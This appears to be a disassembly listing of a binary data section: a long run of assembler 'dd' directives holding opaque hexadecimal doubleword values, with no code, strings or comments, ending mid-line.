8036D1A4h dd 0D0603BB8h, 0F6111FB9h, 26917D9h, 0A0C010C1h, 0EE009723h dd 83C97762h, 3B44869Bh, 62F60791h, 606A0559h, 7986E192h dd 36FF5E01h, 0BED86346h, 0A5686C20h, 6038E4CCh, 4CE99FB8h dd 3305E4D9h, 10823C7h, 0F28E07CCh, 0C6F1923Ah, 136CA914h dd 6C00A28Fh, 57F05288h, 0BEE9C0D1h, 67E6CC70h, 0A1ABD506h dd 49086D6Fh, 9500B4B7h, 0AF73CC98h, 4024EFA0h, 6A0C043Dh dd 9BD2869h, 9FDD16C9h, 4F05A02Eh, 1A44885Fh, 98F3740h dd 407C1B21h, 512FE418h, 0FA902383h, 0C0CC7601h, 0E4186567h dd 9E9321C0h, 70382CCCh, 62F3E657h, 4F957032h, 7D3E8C52h dd 0F61D801Eh, 37DB9206h, 0A1B1C081h, 47C4C843h, 74116760h dd 92252617h, 2F34690h, 0C87B62F2h, 10423123h, 1E62FA6Dh dd 2CC840A0h, 577A0838h, 93280803h, 74980336h, 533070CBh dd 0F8608AA2h, 0BA449E76h, 0FE5E008Ch, 18603E4Ah, 1303753Fh dd 3BB401C1h, 71039CC4h, 60131708h, 5421B5CEh, 8042F83h dd 9FC1F7A0h, 0E0A18FCCh, 879EC0E8h, 0E81CADCCh, 5841FABEh dd 0EB3852D2h, 7E45E460h, 477433EDh, 7FA125A0h, 280334Eh dd 3E78118Eh, 10AE31FBh, 0F119646h, 28DF27B9h, 0D6547743h dd 66059900h, 5198F9C2h, 6F8503EBh, 0ED36DFBh, 0E4B001E2h dd 3A157CC9h, 80701Bh, 4A0A27CEh, 0BB8647h, 0DD7591B2h dd 4605CA59h, 0A4A748BAh, 19603AC4h, 272113Fh, 29056B0Eh dd 483A4284h, 0AD18C3BEh, 0B54EDC31h, 9920E980h, 9E7DCF4Fh dd 3800D4F2h, 6FE3E2F7h, 0EC5E57h, 787227A9h, 0DC172521h dd 8885E0A2h, 5354CC9Ah, 23E04452h, 53C2CFCh, 6275678Ah dd 9120B9E0h, 153CC9Ch, 939D3BB3h, 0D3A50332h, 41BF6CC9h dd 7052D384h, 0E8A4476Ch, 0E4203345h, 8AEF0CDCh, 8720B158h dd 9D5A98C4h, 0E0E01F0Eh, 0E85430F0h, 0FA4391C0h, 1CD9C8A2h dd 0C3706C50h, 0B2AB891Ah, 91A088E0h, 643ACA09h, 4C104EE6h dd 5DBC9868h, 0E22D098Ch, 0C49033B8h, 0C50B0540h, 0A0AC6838h dd 0B16AB4D4h, 3B490E9h, 76BFED17h, 0D8FA5334h, 366888C1h dd 808EE0D4h, 1DD904EBh, 83A3B8D7h, 15F426B8h, 648A8450h dd 3020DC84h, 217862F5h, 90C0FBC8h, 7D62FDh, 2E557E02h dd 0ED417835h, 8478C858h, 8D0B49Eh, 0F977E1h, 0C509C972h dd 0EA8C51A9h, 33BC091h, 9FFBD3EFh, 0CF310E55h, 6F207125h dd 2FA03C76h, 7B5C600Eh, 0F72601BAh, 71E3078Dh, 968B0289h dd 924A9906h, 909760D7h, 0F5D1786Eh, 6AF869F5h, 0D6460022h dd 0C60EEC61h, 790F7887h, 74ED8FE8h, 24210144h, 0E3C4685Ah dd 0A8200031h, 63BE13A5h, 1D3C20E6h, 11B0CDDBh, 0EAC89F02h dd 60D02DEDh, 93BBB8C0h, 0F8ECD810h, 80B79E2Ah, 25504205h dd 0E481CB08h, 0D844A4DDh, 4FA35C81h, 11088A0Ch, 0CEDB3E74h dd 0F24A07D1h, 0FE608711h, 0BCCD2Fh, 21779536h, 0D346382h dd 57122C90h, 688BD576h, 30D9B384h, 4840BC60h, 7313FCBDh dd 46F8F0A1h, 912ED9C0h, 1CC4FCE1h, 41AF4E51h, 188BEC06h dd 0D0F4706Fh, 4D40574Ch, 0A468219Ch, 0E4215C1Ch, 52FD9C56h dd 0A76862E7h, 18897CC1h, 125890E8h, 2C8313C8h, 0F0006F68h dd 90524A62h, 2CF58E70h, 7480A0h, 3D93DF76h, 19F06933h dd 6F78B975h, 0BD09AB76h, 184615CAh, 55384700h, 1BD8A4B9h dd 0EF49434h, 98A98AC5h, 2EA05080h, 14A4C146h, 12A78020h dd 803C8AC9h, 344B02Ch, 88A3242Ch, 56E42174h, 5EC2A880h dd 53C21h, 36DDB132h, 730B5F4h, 4CF94F60h, 595BA98h, 0EFCDE91Eh dd 9F489082h, 8E0643DDh, 0CEEC5A29h, 6B460CB8h, 4EA8B764h dd 9C230A4Bh, 8FE7A0EFh, 77C43DA0h, 80BE9F1Eh, 0FD87A685h dd 0C090113Ah, 7A0E351Fh, 18AEDC0Ch, 5B690AD9h, 2B4B6B7h dd 0C4A68494h, 4C99CCA9h, 251D309Ah, 6BC12600h, 0DF0DC73Fh dd 6EEF3CD8h, 0D7AB1C0Ah, 3AF105F7h, 4CC008DEh, 0A1E75E8Ch dd 557900ECh, 0AA3BF5C4h, 8276DC5Bh, 0A08552h, 5D4ECC7Fh dd 50EF79A9h, 7CDEB868h, 284A4833h, 6DCDD04h, 0C7C48481h dd 8ACF6138h, 0D3D452ECh, 4470D451h, 0D9F286DEh, 4110F51Ch dd 38046356h, 9500EFC0h, 0BE5EC469h, 7EE870C1h, 98226853h dd 0C23DC44h, 47BB5452h, 3A2CC981h, 0DD9880D4h, 16AA5E76h dd 862C43h, 1404676Ch, 0F6005A99h, 0BCA9F28h, 0F1B6C782h dd 251B1438h, 98C4F8BAh, 0CC087A34h, 0C2856784h, 0AF0057BBh dd 3C10CC82h, 0B1807A8Ah, 3CB805AAh, 28F422ACh, 5E90B963h dd 165100E0h, 24BFB1EDh, 7500C7D7h, 2DB505E2h, 1EF281Ch dd 0C2F4FD7Eh, 30A79C38h, 0AE24ED28h, 86870441h, 0AC10497Dh dd 25E17FBh, 8281549Bh, 0ACA0B89Fh, 0F1FF23B4h, 40A96E06h dd 1719BD3Fh, 80767D89h, 2DA0D238h, 42DB8B1Dh, 0E0946352h dd 3096DC82h, 0A60862EFh, 64814BCAh, 0F7964435h, 0C16818C0h dd 0F6E0758h, 842B9E94h, 340889Fh, 847EDB0Fh, 1BC01C83h dd 6427EFD6h, 678FE34h, 0EACE9663h, 0CC00E1B6h, 2C2B85C0h dd 0FE7919h, 9EDAF4D1h, 5EB366E8h, 6BC04204h, 0DCF1FFBCh dd 0B3F26472h, 0C60C30h, 2964289Ah, 0BB129BCFh, 0D447345Eh dd 808E1774h, 0DA8710AEh, 3E6B01D0h, 52C4B293h, 0B202824h dd 717E95h, 0F521EDC4h, 88629887h, 1C6C88Ch, 0F2AC6689h dd 0E1F14D84h, 0B2520FBh, 81EB0C09h, 401481E6h, 106947C2h dd 2BC9E24h, 0AB2D67DCh, 269D6841h, 127B02A8h, 318A34F5h dd 0A3E31049h, 23BE00ECh, 30C48447h, 0DC91404Fh, 84B08A0Bh dd 7CF225ACh, 0E0C068E7h, 8841AFh, 0AEE1396Dh, 6B34B702h dd 1C42A424h, 56C74B01h, 19113053h, 6B62D80Eh, 824C9E27h dd 0A0D55E24h, 0FFE899B0h, 20FE0006h, 3C19E7CAh, 0AB004222h dd 8F16C840h, 91170877h, 56E6D0C4h, 0D6050086h, 0E731D7B1h dd 4548CAC5h, 28C40BECh, 69D0215Fh, 0E82C3514h, 0BEF9C204h dd 0D3B088EAh, 3FE76C01h, 2E883779h, 30A09842h, 7B121183h dd 3038F33Eh, 118B004Dh, 0F4578C81h, 3E0126A8h, 60C49ED7h dd 8C3C5197h, 24E77101h, 0CC72D94Fh, 89274AEh, 1C7FC42Ch dd 0FE20771Eh, 5407F8F7h, 52FAC4Ah, 838CD8F8h, 51C0ABAFh dd 306E84E5h, 0E08142E8h, 700D33Bh, 85FA1029h, 0B31B54Ah dd 63A10B9Ch, 44FE3890h, 0D2ED0516h, 18047095h, 6CE4436Fh dd 0C354277Fh, 0DC6788E0h, 98A54228h, 0BE218707h, 0B346B857h dd 0FE6F3C21h, 88DF4785h, 9FA4C2E7h, 8127D30h, 8D5A34EBh dd 3214A66h, 69ECA5F9h, 10B0FE17h, 1E02C6ABh, 606BACB2h dd 133CF0D9h, 13679F81h, 3E3C80A9h, 3B61B330h, 64107B0h dd 8234835h dd 3CC168A7h, 7CD48A26h, 66940009h, 0ED971BF7h, 49C40DD1h dd 0CC9065C4h, 927C439Eh, 5AC9397Ch, 0D3020CDDh, 0BC52CBD2h dd 95079CF0h, 7F4EC01Dh, 3485C9C5h, 0B984608Eh, 9FED3057h dd 0E3D901E8h, 0D8A01168h, 0C80BC069h, 74686F49h, 0D6D14E01h dd 0FC496C1h, 0E284344Bh, 1F2A3056h, 2FEF4A3Ch, 0DE4A1084h dd 0FE7BEDC0h, 6D0957C5h, 0C455F6A3h, 74957934h, 0C16C0039h dd 765FBD1Eh, 270228B8h, 5256744Ah, 5B704A22h, 2C1170F4h dd 1913EA09h, 0C2D08787h, 0D4F4858Eh, 0FF5EC402h, 14EC6853h dd 4C9BB06Ch, 520FB899h, 0DD84084Dh, 0E2FCB26Bh, 9A02305Eh dd 0DFADCF1Ch, 0CC0D55C1h, 0FF1240EAh, 0B8649060h, 4A8A9B80h dd 536846D0h, 9494F170h, 5E465Eh, 0E6237485h, 4C5040B8h dd 1D1068A1h, 0A7870149h, 0B68B467Ah, 1C0F2C62h, 0CD80860Ah dd 0DD368A40h, 17D518CBh, 0D9B28830h, 67640260h, 9D5F14h dd 0FF3447FCh, 0E86452D3h, 2CC145E1h, 0E400BC33h, 2B40232Ah dd 8B402EAEh, 34244154h, 63E4F533h, 38862378h, 34EFEC84h dd 3C8E92h, 7CECAE86h, 0FF6F862h, 9CE88E91h, 80D73A02h dd 51376860h, 51527880h, 6891508Ah, 12798083h, 427A34F7h dd 0A1FDC08Dh, 0AB7BECh, 2072D875h, 92EDA5CBh, 0A9306B14h dd 0FD860BF0h, 0AA701057h, 0F63202ECh, 5FD1C06Ah, 63490C82h dd 51F195E0h, 0F4E67828h, 94B40C90h, 43913DCh, 6BFCC057h dd 0C094D40Bh, 4A465Ch, 222EFE66h, 386135Eh, 633F067Eh dd 0D80EB138h, 73F8C2CBh, 68D57000h, 16CFF61Ch, 60DCF75Eh dd 3C524B28h, 34680095h, 0EF3A2A26h, 178D8434h, 84FAB467h dd 0C3CC0424h, 0FBE9052Ah, 57B12481h, 38100405h, 1DD840A3h dd 0FD84824Dh, 47C8493Bh, 3F0818C4h, 3B64C3Bh, 0D3B45249h dd 0A277702Dh, 184FAE70h, 7911118Dh, 0AF88E33Eh, 11954780h dd 2AE28C1h, 75C4CB62h, 0C6D69A6h, 0D3BC7AC0h, 0EAB71BE8h dd 1BB86144h, 8B3AF646h, 0F19E80EBh, 0BE76E7D9h, 218F2C22h dd 0DC6F40BCh, 0F70BE668h, 0E00169D9h, 17C4CD50h, 430880Ch dd 45245324h, 1CC5FD81h, 1C801885h, 16F8210h, 87F5D40Fh dd 6CF621EDh, 0CFA983D4h, 0FB49E878h, 7D250290h, 0F68FEF7Bh dd 0BF005C52h, 0C046278h, 26D329h, 0BAC6967Ah, 0D83A6CB0h dd 0F8E937FEh, 0D09C3156h, 0F9696D80h, 256B82EFh, 809B9B0h dd 0F1EC2Fh, 2554864Ch, 54B49EDBh, 2043E0EFh, 29FFB79Ch dd 17C404A4h, 54B07978h, 0A0A44Fh, 3FE1DDE6h, 0F6598D5Fh dd 7EF9660Bh, 71DC90E8h, 55D40746h, 959F85F4h, 0E6FCD0DAh dd 0BC74DD84h, 0E7021896h, 78D43B34h, 39699848h, 0EA30DDDCh dd 8FC8C421h, 17505D49h, 3913BB16h, 0B69FCC80h, 59B96936h dd 6081A004h, 12F11377h, 8A33AA34h, 7F870FD0h, 0E29F6313h dd 538811EBh, 0F2BC0BECh, 0A334E1DCh, 87380207h, 9882ECF8h dd 0E3D90C79h, 2A0E8818h, 637486CFh, 2EF49EB4h, 5ED4D491h dd 99004546h, 7B7C7D0Fh, 8F26DA1Ah, 0EA41E89Eh, 136E6C03h dd 27880241h, 50607044h, 133D0D8h, 0E0B1C94Bh, 0F985A108h dd 0E86B3A00h, 0A873E54Fh, 8C01A4C6h, 0F03C6E18h, 50097ABFh dd 0B828F3Fh, 89FCCA14h, 0DEFC009Ch, 536C876h, 0B1D3DDA3h dd 0C1FC9753h, 72DCFCBDh, 0DCED3F80h, 0CA529CECh, 5DA210A3h dd 7641EA30h, 0C4BD5887h, 4D06F28h, 90310621h, 1638B208h dd 0B0CCD1EDh, 85C05E9h, 0F32643C8h, 30BBB2F4h, 0E6001F1Ah dd 60212966h, 18D9649h, 0C37A55C8h, 24D48AC4h, 0C1E636D0h dd 0AE0CC505h, 0E840B7EAh, 202B5F84h, 0B8CC3A3Fh, 50096500h dd 0D7D49BFh, 92361604h, 0A8B80863h, 0E3F4844Ah, 0C8A9E4F4h dd 152E985h, 0F6D705D4h, 9EA45040h, 3F3A57A7h, 0C6678F09h dd 0CB706063h, 0ABEFFh, 3A201814h, 0CFF77624h, 0C2B64304h dd 8CF0C438h, 48A2EA67h, 0DC049847h, 0B849EF2Bh, 3543C13Ch dd 0F0206B37h, 0EE81202Eh, 44933013h, 398EB820h, 5046011Eh dd 0C5145175h, 7288548h, 6CC0E7D3h, 8046DEC8h, 0F7044382h dd 4E1169F2h, 81C4C8B8h, 9BAC6251h, 0B6129C1Ch, 929623FCh dd 37C89757h, 7C4493C6h, 930AC288h, 0C8005E7Eh, 0D7178499h dd 7BAB7B9h, 6D15E943h, 0E82C41B3h, 0C86B2FD5h, 65F49C00h dd 0E15455A3h, 644181C0h, 9961EA2h, 0F0AFB55Dh, 898C8F7Dh dd 61E38189h, 1EE1EFF4h, 1E7B2C31h, 8F003E16h, 79B08D49h dd 64305ACAh, 9C64CE1h, 188E004Dh, 0BFCD705Bh, 5A1721DEh dd 1841C860h, 8D076B1Eh, 0F401C026h, 0F3C87962h, 0D0282B9Bh dd 62FC1293h, 154C08E0h, 0C1D35E8Ch, 0EBCF0E39h, 8A850CE1h dd 5E0CD110h, 7E619F83h, 360FC302h, 0B440E32Dh, 82518844h dd 0C837DCh, 0C52CAC6Bh, 0A42F0C38h, 2488DAF4h, 0E62F0AA1h dd 9A8DD43h, 0E400A60Bh, 0CFA5BD25h, 78454226h, 0C320F428h dd 49074B30h, 0D451EC74h, 0D73B6FA8h, 51568463h, 50ADBBF8h dd 845057C9h, 26BD702Fh, 2910A4h, 25328895h, 3150A4B8h dd 0F0E0DC30h, 91011E6h, 9F09B966h, 1BE0F8D3h, 0CD8BD4h dd 9E82D880h, 5173D01Eh, 8C07107Ch, 72912265h, 0AC472340h dd 0F94B0E83h, 0EB6057AAh, 0D1EA67ADh, 1DCFA200h, 7CE8FD8h dd 0F188A1E6h, 75026C36h, 7D67C1CCh, 94604471h, 1632CC9Dh dd 4F52BC69h, 3AB6C4B4h, 4E5237Ch, 0E098A28Ah, 8F4E0B98h dd 4410D09Fh, 821888AEh, 0ECD88AC9h, 3B3AA880h, 0F4934F5Ch dd 20505FC4h, 185A2DE1h, 84F00E77h, 0D3A0D174h, 4725718Dh dd 5C30A54Ah, 237611C0h, 0BA11EB3Eh, 118E8001h, 0C8D91D71h dd 0A892BC13h, 38796899h, 0E21DA418h, 0F1C0DBDAh, 8863BA66h dd 0AE3890A6h, 0B0A17258h, 16787674h, 0B4F6C1EEh, 4F1D8008h dd 8B893A1Fh, 0E63020B5h, 74591974h, 0E1B1699h, 0F0E000B7h dd 0D6322261h, 207DD22Fh, 94C84C30h, 7C92809h, 0C10A25DCh dd 0E920D80Fh, 87F161C5h, 0B066812h, 726C4F2h, 251400Ch dd 5571227Fh, 2DA08803h, 0B38D6E65h, 5F6A80CEh, 1B9A12F1h dd 0E6A413F8h, 0ED870368h, 0A08491BFh, 1E467E17h, 2552CA2Eh dd 40D3A0E1h, 8968699Ch, 0DEDA1803h, 95B8BCC4h, 3B9C2480h dd 0D13305C2h, 0B253ED1Dh, 30AEF21Ch, 0FFF25C13h, 0D7F50203h dd 0FEBA2729h, 3C092060h, 0E39AE00Bh, 0C17CCD69h, 0FCC43F88h dd 1B98CC6Dh, 47241700h, 0C359F36Fh, 74784C03h, 35107404h dd 0E678C1EDh, 6980317Dh, 141FB884h, 0E45166BCh, 6B1A5F09h dd 0A3037071h, 0E84B6FC4h, 7A5019C2h, 7A73D9h, 0C805D19Ch dd 0CE8046B6h, 0AC20C15Eh, 52DB64h, 5A2E7F1Ah, 0A9666776h dd 53276A03h, 99319F7h, 0C0AD354h, 4010C019h, 391E3CF0h dd 87383E0Bh, 0C12080ECh, 975B5117h, 486D4880h, 0A109421Bh dd 0FA9E894Ah, 68C300F0h, 9844BDF1h, 0E70B112Eh, 22891467h dd 0D4DB9304h, 0CE4C65C0h, 0C1B28890h, 34EA54FCh, 44004560h dd 0C510E6EBh, 13C109B5h, 63E477Eh, 59A29E64h, 0CF89C00Eh dd 0FA53C933h, 0C9860488h, 864D54F8h, 5F4C69C3h, 9E3980B0h dd 0F02B9Bh, 97F1BA43h, 282FD4CBh, 0E5063200h, 1F0AA6F2h dd 0F0514869h, 916BCC13h, 738DF798h, 4C2000DCh, 28F2923h dd 0B106009Eh, 1E427FB2h, 0E3093F3Dh, 0F937B820h, 0D6470014h dd 0EF7BD835h, 548B874Fh, 0E0CFBBC8h, 9F396E3Dh, 5D4000EFh dd 0C248DADEh, 474ECBE0h, 0C1E15099h, 0B1C4433Bh, 0B9022C59h dd 0C23E9514h, 40345E90h dd 7D444B4Eh, 2F8648Ah, 0C469968Fh, 0E8045706h, 0D96B08C2h dd 185E7150h, 0EA0EEC2h, 0C477BEBBh, 0D0706309h, 780C3490h dd 785769DCh, 88305A73h, 0C281932Ch, 968ED230h, 0E3217614h dd 0EE58256h, 8C565AC9h, 7C6B3E82h, 97B45CBDh, 34244044h dd 56E0D81Bh, 8C81F89Bh, 4C4ABC67h, 219F9092h, 0D8960E40h dd 1D09D893h, 6497C77Bh, 6A1912C8h, 4E240028h, 0D6AAB4B3h dd 48483F49h, 0EFE113ECh, 45C8A08Bh, 246758C0h, 0A3D13BD9h dd 0B39F8F0Ch, 45035C21h, 14E64687h, 679BD83Ch, 2864ADCh dd 0D93AF5E8h, 0B012B0ECh, 24E22F6Ah, 0AED6941Dh, 4865EBBCh dd 21603BE4h, 0D9039FA7h, 0FCE956B9h, 0D476A2DAh, 701EDC64h dd 91001D4Bh, 99D071C3h, 2D6A03E3h, 8533E45h, 68D42C16h dd 5F23F82Fh, 8B613D00h, 2716C75Eh, 886EADC1h, 1769A125h dd 803B11CCh, 223C1A3Eh, 0CEA71F40h, 21489808h, 0BA1FF5A2h dd 0C440AC96h, 5072CF94h, 5DAA13B8h, 0EF28A0F9h, 1651C712h dd 5100106Fh, 6784A9C3h, 0AF4F9F70h, 0A042D8CDh, 0CC7930FDh dd 9D678512h, 90C028B2h, 4F69CC81h, 0E9EB9F72h, 1BC98C4Bh dd 382CCE74h, 0EBDACA8h, 91028E80h, 0C4165887h, 97AD2CB9h dd 9D45916Ch, 0C0726B0Eh, 0F28B9B6Fh, 0A5040387h, 13C77650h dd 1668B8C5h, 0FCA3B726h, 1830B8A2h, 25BC2ED8h, 9FC806F8h dd 0B6008156h, 0B1BADE7h, 12F1BED3h, 143CA2Ch, 21C7B331h dd 2F30DD3Ah, 0FB741809h, 0D11829F0h, 19A183Ah, 5B4031C8h dd 0DCDD5924h, 0B6139CCFh, 0A0E2993Bh, 85D5FD00h, 18B72B02h dd 4BC46600h, 44820BD0h, 204600A5h, 0C7C9CF7Eh, 0C225CAB7h dd 0E6D4C064h, 0E36098DDh, 79758600h, 0CDEBC63Bh, 0BC2F97F8h dd 3407AF23h, 59902BCCh, 11C1707h, 0AA5B0423h, 2C148ACAh dd 6334040Ch, 0A4A7BB60h, 0FC17F82Fh, 6057B788h, 1564968h dd 0E9101214h, 57150558h, 0DC80D0FAh, 0B9F7AF9Eh, 11802600h dd 21E92D4Bh, 9AB743B0h, 0F83AEBC4h, 480948CBh, 0CDA09680h dd 0ED2C0EC4h, 1F00FC21h, 18B6B754h, 0CFB20976h, 6CD878E8h dd 446E9F4Ah, 2B8C9500h, 22FF4A78h, 0E7B4BE0Bh, 387A57h dd 12150270h, 0C5B8A2D8h, 0C4C80186h, 50478F6Dh, 6CEC597Ah dd 30DABDF8h, 0A500CD1Dh, 2374ECEDh, 0FC27147Eh, 0C5514455h dd 48A4E493h, 4AD700D6h, 98145996h, 0CCA1B250h, 4B947943h dd 94B27484h, 0C57BAF1h, 777F0071h, 752751DEh, 0AE006429h dd 8E8BC8CDh, 2D28C470h, 0D8C84703h, 0A89CBB4Ah, 48EFC805h dd 80C41CF9h, 0AC8CA9D5h, 7D1E03D5h, 765C5E8Fh, 43B44FD0h dd 4CE2E82Ch, 7517CE01h, 3BF344h, 0E99126C0h, 87334096h dd 7D6E49BCh, 9140B2A0h, 0C4D349D8h, 0B0D08351h, 0A607A09h dd 0D0249F6Dh, 89D7CFE4h, 947C450Ch, 0B8C4A8ECh, 0DC008C42h dd 2F0D86CFh, 532A44A5h, 8E10B84Fh, 0A09E25A2h, 8F6B7078h dd 4BB803D8h, 59DA905Ah, 9CED4FD0h, 788EEB4Eh, 4578B9CAh dd 0E542804Eh, 0F8039D4Dh, 670C3BA5h, 0C4BD88F9h, 0CD802F5Ah dd 0B98C34C8h, 98D180h, 0E04D30ABh, 0C4F96AD8h, 2062FFEEh dd 72ADEDC0h, 409E4B4Ch, 0CC499554h, 0FD0F9CDDh, 130357C7h dd 6608BC00h, 47B2685h, 820DFC48h, 0BC6CB8D2h, 89738C5Fh dd 84C87D25h, 9E0648B0h, 0D00081B1h, 0D6CB70A4h, 139FAFFh dd 118C444Ah, 0F8CE7797h, 45F212C7h, 0A56C029Dh, 78D109BCh dd 0D218AE79h, 51F2A002h, 4C6F2205h, 0DBF85A94h, 73988014h dd 7F8BFE76h, 0CC1804F3h, 9086F040h, 7A9F278Ch, 45EAB818h dd 0AC7789h, 4EFE2A23h, 67BD0D38h, 0C90F789Bh, 0BF5404D9h dd 8A4A58A7h, 0C03AC858h, 0C847ACB6h, 0A67B7607h, 52621528h dd 4BE0D8A4h, 237C3AA0h, 7E8A005Fh, 0D174712Ah, 1383A507h dd 6D4BC7D2h, 6976C00Ch, 914086DCh, 5333169Ah, 4CE0B01Ch dd 0A51C6CF8h, 5B0B3EE3h, 18F4F035h, 304FAAACh, 981C2521h dd 0D70CC437h, 0B591202Dh, 5F919097h, 5191B580h, 0BD13E9A1h dd 0AC40A6C2h, 25A37E4Ah, 0B9EB605Fh, 7AF97057h, 50670800h dd 0A2FB37CEh, 0CA2301E5h, 0CB8F8E90h, 482F2FB4h, 0DB074423h dd 8FE08376h, 2FC9E169h, 74003852h, 0FF8527C6h, 0C4BE3E1Ah dd 88589760h, 7160DE4Fh, 1716436Ch, 20F6D493h, 0DD0A2920h dd 2CBAD100h, 8558971Ch, 750C0135h, 14690EDCh, 18FCFAA9h dd 2C40DB88h, 0BB467474h, 40B7521Eh, 611B1676h, 0F400B2FDh dd 1D287ED0h, 2E37E18Ch, 0C1A8EE0Dh, 24F6C469h, 22F21FD4h dd 5460800Ch, 56E79E9h, 0A8B801A0h, 3164806Ah, 0ACB41830h dd 6DB41001h, 84299E41h, 87F78E00h, 0ABB831Ch, 0EB7B5C00h dd 45D6B83Bh, 0DDC25EBEh, 306A7B50h, 14983125h, 105DD52h dd 394F60C1h, 5C5E2488h, 0A4887047h, 7711DFC0h, 0A2D34A3Eh dd 8981C058h, 78460311h, 0D10C9934h, 0E2C0195Fh, 698C00D8h dd 1D559351h, 3816C10Bh, 0D03E4397h, 0C956E210h, 40F05416h dd 5DFD867h, 0DB634C01h, 0D589B1FCh, 800684F8h, 4800F918h dd 0E86830Ch, 0B2CF8ABh, 0C0AC6B92h, 60B84C60h, 4C1242Dh dd 1D404850h, 0F9FB4DD6h, 7CF18504h, 0F8F49F35h, 0FCC90059h dd 70777946h, 1D07B6B8h, 0A349C1E3h, 0A981EFA4h, 88733659h dd 0F33049A2h, 0CB452E31h, 412308C0h, 72DCDD02h, 0D9545148h dd 0D18B3h, 0A3CD630Bh, 0F5B788F1h, 6B1DC270h, 6FDDBF13h dd 5702D824h, 54543C42h, 935B8084h, 87BCBBABh, 3B40BCB6h dd 0E2F338h, 0FDB245DBh, 681075CBh, 0C04BD5EAh, 0BAB3B820h dd 6AB200A7h, 65A5229Dh, 3C717614h, 5D023EE0h, 0B8C170C0h dd 4421h, 9771CB74h, 66C4CF7Eh, 8B19A100h, 0E99B6980h dd 8B6E4ADCh, 0C038C8F4h, 44E50188h, 1953A10Eh, 0C0D86934h dd 0BF315740h, 1B3E70A0h, 6CB4BB9Ch, 885C0893h, 60484DEDh dd 0D650944Fh, 0CC0186F6h, 6BBFE370h, 0E42D4580h, 0CC458CCBh dd 1857BAE2h, 0E6009AA5h, 0D3CB4226h, 10652CDh, 6D211268h dd 3C37515Ah, 0D8BB0488h, 488EF649h, 32D9B284h, 0B0546C72h dd 92B83BFCh, 7435B92Dh, 0D78E5D91h, 0E43EB885h, 0CA4EED5Ch dd 22C6C897h, 6C31F9A9h, 0C8B8CB2Ah, 0EFD5C0B3h, 0C00CF49Fh dd 0BE035F7Fh, 0AC149C30h, 490A0808h, 63383E05h, 309BEC95h dd 0CAA58EC0h, 4B5105Ah, 90B6DFE8h, 1ED4C05Bh, 2812343Bh dd 7805DFEDh, 48005FCCh, 3E8D70F3h, 0E7D30FDEh, 0B0177CDCh dd 18135324h, 28E69DFFh, 646879E0h, 182F5201h, 495C245Ah dd 0C9C1942Ch, 799E86DEh, 0A8915F18h, 48AC17EDh, 0ECC52DE0h dd 5C605EC4h, 880379D3h, 6121806Fh, 3CE9C08Ah, 0A95F09DFh dd 0B402745Ah, 790BE098h, 4EDD0070h, 63CE1FF6h, 911D6E00h dd 0F70BFC29h, 21500B13h, 3465773Eh, 4FBCCD2Fh, 69495080h dd 0B7026129h, 57BC7E9Dh, 404856DCh, 37A4E8C6h, 56FD8100h dd 7FC4CD9Fh, 0F7790478h, 0EDCBEDDFh, 85FD0904h, 0E07010F6h dd 58FE45h, 7518E47Ah, 1DAFCE3Bh, 518EAA00h, 8DC3BB4Dh dd 9C91705h, 0A1E41B8Fh, 0DE3995A0h, 64C47602h, 4BBDE97Eh dd 4878E968h, 7AC96CDCh, 8E69008Fh, 6F73B82Fh, 8100399Ch dd 0EE807DF4h, 0C0C98FDCh, 9941951h, 0EF5A9EC3h, 0B3C8D88Bh dd 1D24E8C0h, 2F98F09Dh, 801957E6h, 1A55C21Ch, 5EB456C0h dd 8057B721h, 0A732E6ACh, 562D44EBh, 0C000ED76h, 69686BD1h dd 0F3137B7Dh, 0F40229C7h, 0DC56E518h, 0CCBC0CB4h, 5C5A66B9h dd 68A46853h, 3DC40F8Dh dd 0D220AB6Fh, 0CF231563h, 0CC1A4904h, 38984ADBh, 5EFC94A5h dd 0EE015C46h, 43BE41E4h, 0C34620Ch, 98BADC32h, 387700DDh dd 2D6F3EC7h, 0B90B1AABh, 4E6EBF93h, 71E4B154h, 0AC18B5h dd 0DBB4A04h, 2EF6CA65h, 4B63A88h, 7AE3B951h, 0FE88C337h dd 58E96926h, 0A5F01F14h, 0DFA8A8BDh, 7E574E09h, 0C4E48FB6h dd 0AEE13B94h, 9D9CB434h, 67A0E40Fh, 0EEB7BAACh, 0BD34B7BDh dd 0A6000248h, 0BF72F149h, 1DFCEE52h, 3C205B00h, 78D02804h dd 0AB4C2853h, 259325C0h, 6658E4DBh, 95C8031Fh, 0ED57E86Ch dd 0FFCF100h, 4A90871Eh, 883400A0h, 6EF8A68Bh, 70999AA9h dd 4CFEFC81h, 0B7CCB21Eh, 34180742h, 0C0915CB8h, 86FFCA26h dd 7D6EC40Bh, 0DC002076h, 997BFBDFh, 185DD1C4h, 0A1192CC4h dd 9ED640ECh, 2D0009F9h, 0F558F279h, 33A869h, 8CAA963Ch dd 54688A72h, 0F80CC716h, 1478A89Dh, 8CBAACh, 0A9B7198Bh dd 0D9D1BC52h, 0E803C417h, 0F9B82490h, 0FB8E726Ch, 2FA49320h dd 80BA7C2Ch, 8550705Bh, 1E7E09C1h, 0D482C259h, 0B8E8B43Ah dd 97B72EA0h, 8E5D91D8h, 3A21C013h, 4D8AC829h, 5E272874h dd 0A48B7CC8h, 4E0F637Fh, 3629155h, 80947FAAh, 146ADFCh dd 3EA74092h, 3FE2243Bh, 10208C45h, 0B310743Ah, 1E93C0D9h dd 4806BC69h, 371C9C90h, 0C481C13Ah, 0DDCA6E0Ch, 0A0B06444h dd 0BAF46312h, 0B9E97C04h, 396F6890h, 14D15834h, 0FE861900h dd 9F465A02h, 0F9692C12h, 0B5C838CBh, 0BBEA24C0h, 141B02D6h dd 16AC6BABh, 0C0BB858h, 7147133Bh, 19AC2640h, 795E0887h dd 0F8C24A9Ch, 80540928h, 0A0D9E70Fh, 1DD7B025h, 13DCEACFh dd 0F2F1836Eh, 0E5FB007Ch, 274D9E15h, 211B0032h, 0CA5844AEh dd 4C24A561h, 0EB0EAC4Bh, 56E82177h, 38424A6Dh, 8044D6C1h dd 40066FD8h, 0BC00612Ah, 59699720h, 4AEDF23Bh, 445042C9h dd 4CF4072Ah, 89257C1Eh, 44184F24h, 1002C772h, 6B600691h dd 0FCC86C5Bh, 0DFB700DBh, 5C0B2C37h, 7B0B2A35h, 5027383Eh dd 0D837BD44h, 0D4E0D417h, 9C53277Eh, 945E64C2h, 5C5A4B82h dd 639848B7h, 95C9608h, 420094Eh, 0D97374F1h, 0BF5F6812h dd 9B00F856h, 4D4159CEh, 0D6311C1Fh, 4EA7435Dh, 0CDC8B40Fh dd 0CCB0E879h, 1229F444h, 0C0E4AC3Ah, 0B4946BC0h, 308ACB80h dd 